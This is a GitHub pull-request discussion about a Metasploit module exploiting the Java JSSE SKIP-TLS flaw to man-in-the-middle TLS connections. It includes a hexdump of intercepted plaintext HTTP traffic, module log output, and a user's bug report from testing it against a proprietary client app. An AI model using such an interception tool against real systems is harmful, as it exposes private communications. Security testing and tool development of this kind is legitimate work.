Now the client can see the HTTP response correctly and the HTTP communication is stored in plaintext by the module =)

AUS-MAC-0916:~ jvazquez$ hexdump -C /Users/jvazquez/.msf4/loot/20150808073950_default_172.16.158.134_tls.application__071922.bin | more
00000000  47 45 54 20 2f 20 48 54  54 50 2f 31 2e 31 0d 0a  |GET / HTTP/1.1..|
00000010  55 73 65 72 2d 41 67 65  6e 74 3a 20 4a 61 76 61  |User-Agent: Java|
00000020  2f 31 2e 37 2e 30 5f 36  37 0d 0a 48 6f 73 74 3a  |/1.7.0_67..Host:|
00000030  20 77 77 77 2e 67 6f 6f  67 6c 65 2e 63 6f 6d 0d  | www.google.com.|
00000040  0a 41 63 63 65 70 74 3a  20 74 65 78 74 2f 68 74  |.Accept: text/ht|
00000050  6d 6c 2c 20 69 6d 61 67  65 2f 67 69 66 2c 20 69  |ml, image/gif, i|
00000060  6d 61 67 65 2f 6a 70 65  67 2c 20 2a 3b 20 71 3d  |mage/jpeg, *; q=|
00000070  2e 32 2c 20 2a 2f 2a 3b  20 71 3d 2e 32 0d 0a 43  |.2, */*; q=.2..C|
00000080  6f 6e 6e 65 63 74 69 6f  6e 3a 20 6b 65 65 70 2d  |onnection: keep-|
00000090  61 6c 69 76 65 0d 0a 0d  0a 48 54 54 50 2f 31 2e  |alive....HTTP/1.|
000000a0  31 20 32 30 30 20 4f 4b  0d 0a 44 61 74 65 3a 20  |1 200 OK..Date: |
000000b0  53 61 74 2c 20 30 38 20  41 75 67 20 32 30 31 35  |Sat, 08 Aug 2015|
000000c0  20 31 34 3a 33 39 3a 35  30 20 47 4d 54 0d 0a 45  | 14:39:50 GMT..E|
000000d0  78 70 69 72 65 73 3a 20  2d 31 0d 0a 43 61 63 68  |xpires: -1..Cach|
000000e0  65 2d 43 6f 6e 74 72 6f  6c 3a 20 70 72 69 76 61  |e-Control: priva|
000000f0  74 65 2c 20 6d 61 78 2d  61 67 65 3d 30 0d 0a 43  |te, max-age=0..C|
00000100  6f 6e 74 65 6e 74 2d 54  79 70 65 3a 20 74 65 78  |ontent-Type: tex|
00000110  74 2f 68 74 6d 6c 3b 20  63 68 61 72 73 65 74 3d  |t/html; charset=|
00000120  49 53 4f 2d 38 38 35 39  2d 31 0d 0a 50 33 50 3a  |ISO-8859-1..P3P:|
00000130  20 43 50 3d 22 54 68 69  73 20 69 73 20 6e 6f 74  | CP="This is not|
00000140  20 61 20 50 33 50 20 70  6f 6c 69 63 79 21 20 53  | a P3P policy! S|
00000150  65 65 20 68 74 74 70 3a  2f 2f 77 77 77 2e 67 6f  |ee http://www.go|
00000160  6f 67 6c 65 2e 63 6f 6d  2f 73 75 70 70 6f 72 74  |ogle.com/support|
00000170  2f 61 63 63 6f 75 6e 74  73 2f 62 69 6e 2f 61 6e  |/accounts/bin/an|
00000180  73 77 65 72 2e 70 79 3f  68 6c 3d 65 6e 26 61 6e  |swer.py?hl=en&an|
00000190  73 77 65 72 3d 31 35 31  36 35 37 20 66 6f 72 20  |swer=151657 for |
000001a0  6d 6f 72 65 20 69 6e 66  6f 2e 22 0d 0a 53 65 72  |more info."..Ser|
000001b0  76 65 72 3a 20 67 77 73  0d 0a 58 2d 58 53 53 2d  |ver: gws..X-XSS-|
000001c0  50 72 6f 74 65 63 74 69  6f 6e 3a 20 31 3b 20 6d  |Protection: 1; m|
*** DELETED FOR READABILITY ***

In the client:

juan@ubuntu:~$ java Main
Hello World!
Response Code : 200
****** Content of the URL ********
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en"><head><meta content="Search the world's information, including webpages, images, videos and more. Google has many special features to help you find exactly what you're looking for." name="description"><meta content="noodp" name="robots"><meta content="/images/google_favicon_128.png" itemprop="image"><title>Google</title><script>(function(){window.google={kEI:'thTGVb_vGoOyerKtpvAC',kEXPI:'3700286,3700372,4026240,4029815,4031109,4032235,4032500,4032678,4033307,4033344,4034322,4034882,4036005,4036527,4036669,4036848,4037333,4037457,4037569,4038012,4039462,4039879,4039905,4039936,4040112,4040136,4040360,4040849,4040865,4040977,4040983,4041159,4041304,4041322,4041974,4042180,4042250,4042384,4042446,4042458,4042695,4042835,4043030,4043255,4043411,4043428,4043473,4043561,4043719,4043754,8300096,8300199,8300203,8500394,8501260,8501295,8501406,8501489,8501966,10200083,10200889,10201251,10201288,10201342,10201360',authuser:0,kscs:'c9c918f0_10'};google.kHL='en';})();(function(){google.lc=[];google.li=0;google.getEI=function(a){for(var b;a&&(!a.getAttribute||!(b=a.getAttribute("eid")));)a=a.parentNode;return b||google.kEI};google.getLEI=function(a){for(var b=null;a&&(!a.getAttribute||!(b=a.getAttribute("leid")));)a=a.parentNode;return b};google.https=function(){return"https:"==win
*** DELETED FOR READABILITY ***

Thanks @rcvalle, awesome work!

@rcvalle
Copy link
Contributor Author

rcvalle commented Aug 10, 2015

@jvazquez-r7 Awesome! Thank you!

@pulgit
Copy link

pulgit commented Sep 4, 2015

heya
I am trying to test a fat client app - which I suppose is vulnerable - with this module. I can successfully use the java-sample from above against google.com and get the plaintext dump via the mitm.
as soon as I use the client app over here I see successfull communication going on within the app, I see lots of sent/received packets ...

msf auxiliary(jsse_skiptls_mitm_proxy)
[] Accepted connection from 10.10.10.1:1917
[
] Connected to xyz.at:4048
[] Connected to xyz.at:4048
[
] 192 bytes received
[] 192 bytes sent
[
] 1350 bytes received
[] 1350 bytes sent
[
] 267 bytes received
[*] 267 bytes sent
<.... snip>
[+] SSL/TLS session application data successfully stored in /root/.msf4/loot/20150904051500_default_10.10.10.1_tls.application__761982.bin

... but the generated loot-output-files are empty.

did I hit a bug here, can I help in a way, or do you have any idea whats going on, or what could be the reason for this behaviour?

regards, Ulrich

@rcvalle
Copy link
Contributor Author

rcvalle commented Sep 5, 2015

@pulgit Can you provide more information, such as the application and JRE version?

@pulgit
Copy link

pulgit commented Sep 7, 2015

Java-Version on the client is 1.7.0_71.

The application is "proprietary" and the underlying protocol is some sort of "ftp dialect" (FTPish, but not 100% following RFC4217/FTP-S).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

5 participants